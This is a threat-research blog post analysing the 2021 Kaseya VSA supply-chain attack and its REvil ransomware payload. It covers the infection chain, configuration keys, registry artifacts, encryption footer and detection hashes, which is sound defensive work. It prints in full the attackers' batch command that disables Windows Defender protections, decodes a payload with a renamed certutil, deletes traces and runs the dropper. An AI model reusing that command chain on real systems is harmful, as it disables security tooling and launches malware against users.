Kaseya Supply Chain Ransomware Attack - Technical Analysis of the REvil Payload

On July 2, 2021, Kaseya, an IT Management software firm, disclosed a security incident impacting their on-premises version of Kaseya's Virtual System Administrator (VSA) software. Kaseya VSA is a cloud-based Managed Service Provider (MSP) platform that allows service providers to perform patch management, backups, and client monitoring for their customers. Per Kaseya, the majority of their customers that rely on Software-as-a-Service (SaaS) based offerings were not impacted by this issue; only a small percentage (less than 40 worldwide) running on-premise instances of Kaseya VSA server were affected, though it is believed that 1,000+ organizations were impacted downstream. Below is the ThreatLabz technical deep-dive on the attack. For more background, read our full coverage blog here. Infection Overview The threat actor behind this attack identified and exploited a zero day vulnerability in the Kaseya VSA server. The compromised Kaseya VSA server was used to send a malicious script to all clients that were managed by that VSA server. The script was used to deliver REvil ransomware that encrypt files on the affected systems. The malicious script contained the following Windows batch commands as shown below: C:\windows\system32\cmd.exe /c ping 127.0.0.1 -n 7615 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking1\agent.crt c:\kworking1\agent.exe & del /q /f c:\kworking1\agent.crt C:\Windows\cert.exe & c:\kworking1\agent.exe The PowerShell script present in the commands above disables some features of Windows Defender such as real-time protection, network protection, scanning of downloaded files, sharing of threat information with Microsoft Active Protection Service (MAPS), and automatic sample submission. certutil.exe is used to decode the Base64 encoded payload located in agent.crt and writes the result to an executable file named agent.exe in the working directory of Kaseya. The Windows batch script then executes the agent.exe file, which will create and launch the REvil ransomware payload. REvil/Sodinokibi Ransomware The executable agent.exe is digitally signed with a valid digital signature with the following signer information: Name: PB03 TRANSPORT LTD. Email: Brouillettebusiness@outlook.com Issuer: CN = Sectigo RSA Code Signing CA, O = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB Thumbprint: 11FF68DA43F0931E22002F1461136C662E623366 Serial Number: 11 9A CE AD 66 8B AD 57 A4 8B 4F 42 F2 94 F8 F0 Upon execution, the file agent.exe drops two additional files which are present in its resource section with the names SOFTIS and MODLIS. These two files are written to the C:\Windows directory. If the malware is unable to write to this location (e.g., insufficient permissions), these files will alternatively be dropped in the Windows %temp% directory. These two files are the following: MsMpEng.exe - This is a legitimate application of Windows Defender and vulnerable to side-loading attacks. mpsvc.dll - This is an REvil ransomware DLL. The executable file agent.exe then executes MsMpEng.exe, which is vulnerable to a DLL side-loading attack to load the REvil ransomware DLL file mpsvc.dll that is located in the same directory. As a result of the vulnerability, the Windows Defender executable will load the REvil DLL into its own context as shown in Figure 1. Figure 1. Main function of the malicious executable used in the Kaseya attack that drops a vulnerable copy of Windows Defender to load REvil ransomware. This variant of REvil (aka Sodinokibi) ransomware uses several techniques to evade security products. This includes the malware using a custom packer, with the REvil payload distributed as a portable executable (PE) with a modified header as shown in Figure 2 (where the original PE header is shown on the left and the modified header is shown on the right). This is likely designed to evade security software products that are not able to properly handle PE files that have been modified. Figure 2. Modified REvil PE header (the original header is shown on the left, while the Kaseya REvil payload is shown on the right). The malware binary has an embedded encrypted configuration which is decrypted using RC4 encryption at runtime as shown in Figure 3. Figure 3. RC4 decryption of REvil configuration. The REvil ransomware configuration contains specific settings for the malware. The configuration is stored in JSON format with the configuration parameters shown in Table 1. Configuration Key Description arn Establish persistence via an autorun registry value dbg Enable debug mode dmn Semicolon separated list of potential C&C domains et Encryption type (partial or full) exp Attempt to elevate privileges by exploiting a local privilege escalation (LPE) vulnerability img Base64 encoded ransom wallpaper nbody Base64 encoded ransom note net Send beacons to the REvil command and control server nname File name of ransom note dropped in folders where files were encrypted pid Unique ID to identify this attack pk Base64 encoded value of attacker’s public key used to encrypt files prc List of processes to kill rdmcnt Readme count (always set to 0) sub Possible campaign/affiliate ID or just sub version number svc List of services to stop wfld Directories to wipe wht List of whitelisted extensions, folder names and file names wipe Wipe specified directories Table 1. REvil configuration keys and their purpose. The full decrypted configuration for this REvil attack can be found here. This variant of REvil has the key net assigned with the value false, which instructs the ransomware not to beacon information back to the C&C domains after encryption. This is likely to evade network-based signatures that could potentially alert victims to an ongoing attack. The REvil configuration in the Kaseya attack disables persistence through the arn configuration parameter, which may also be designed to evade early-stage detection. Before the encryption process, the registry key HKEY_LOCAL_MACHINE\SOFTWARE\BlackLivesMatter is created to store the victim’s and attacker’s encryption key information and the file extension to be appended, as shown in below Figure 4. Figure 4. Registry key names and values created by REvil ransomware. The registry key values are described below in Table 2. Registry Value Name Description 96Ia6 Victim’s secret key encrypted with the attacker’s public key (“pk”) Ed7 Attacker’s public key JmfOBvhb Encrypted victim’s key (same as key present in ransom note) QIeQ Victim’s public key Ucr1RB Victim’s secret key encrypted with master public key wJWsTYE Extension to be appended after encryption Table 2. REvil registry key values. REvil changes the Windows firewall settings to allow the local system to be discovered on the local network by other computers with the command: netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes File Encryption Process REvil ransomware will encrypt all files that are not contained within the whitelisted filenames and extension fields, which are stored in the configuration. REvil reads each file, encrypts the contents, and writes the result back to the original file to prevent file recovery. After the encryption, a footer is written to the end of the file and the encrypted file is renamed with an appended file extension. REvil ransomware uses a combination of Curve25519 (asymmetric) and Salsa20 (symmetric) encryption algorithms to encrypt files on the system. The Salsa20 encryption key is derived from the victim's public key and secret key of the key pair generated for each file. To decrypt a file, the victim's secret key and file public key must be known. The ransomware writes a footer that has a size of 232 (0xE8) bytes at the end of every encrypted file. The footer metadata contains the information shown below in Table 3. Parameter Data size Description attacker_public_key 0x58 Victim’s secret key encrypted with the attacker’s public key master_public_key 0x58 Victim’s secret key encrypted with a master public key file_public_key 0x20 Public key generated for each file salsa20_nonce 0x8 Salsa-20 nonce crc32_file_public_key 0x4 CRC32 checksum of file_public_key et_config 0x4 Encryption type (0 in this case) sk_size 0x4 Bytes to skip during encryption null_encrypted 0x4 NULL value encrypted with Salsa20 encryption Table 3. REvil footer added to encrypted files. An example REvil footer is shown below in Figure 5, with the corresponding fields highlighted. Figure 5. Footer metadata appended to a file encrypted by REvil. After the encryption, REvil drops a ransom note with the format {random alphanumeric characters}-readme.txt based on the rdmcnt configuration (in this case, rdmcnt is set to zero, so REvil will drop a ransom note in every directory). The ransomware then drops the content to a file from the img configuration value in the Windows %temp% directory and sets the wallpaper to use this file on the infected system. Figure 6 displays a screenshot with the REvil ransom note and wallpaper after the file encryption is completed. Figure 6: REvil ransom note and wallpaper after file encryption. The author of REvil ransomware has posted attack details on their leak website as shown in Figure 7. The group is currently demanding $70 million worth of Bitcoin for a master decryption tool. Figure 7. REvil’s Kaseya attack post on their dark web leak site. Indicators of Compromise (IOCs) The following IOCs can be used to detect REvil infections used in the Kaseya attack. Hash Type Description 95f0a946cd6881dd5953e6db4dfb0cb9 MD5 agent.crt (encoded REvil dropper) 561cffbaba71a6e8cc1cdceda990ead4 MD5 agent.exe (REvil dropper) a47cf00aedf769d60d58bfe00c0b5421 MD5 mpsvc.dll (REvil ransomware) 7ea501911850a077cf0f9fe6a7518859 MD5 mpsvc.dll (REvil ransomware) 2093c195b6c1fd6ab9e1110c13096c5fe130b75a84a27748007ae52d9e951643 SHA256 agent.crt (encoded REvil dropper) d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e SHA256 agent.exe (REvil dropper) 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd SHA256 mpsvc.dll (REvil ransomware) e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 SHA256 mpsvc.dll (REvil ransomware) The full list of 1200+ hardcoded beacon domains related to this REvil variant can be found here.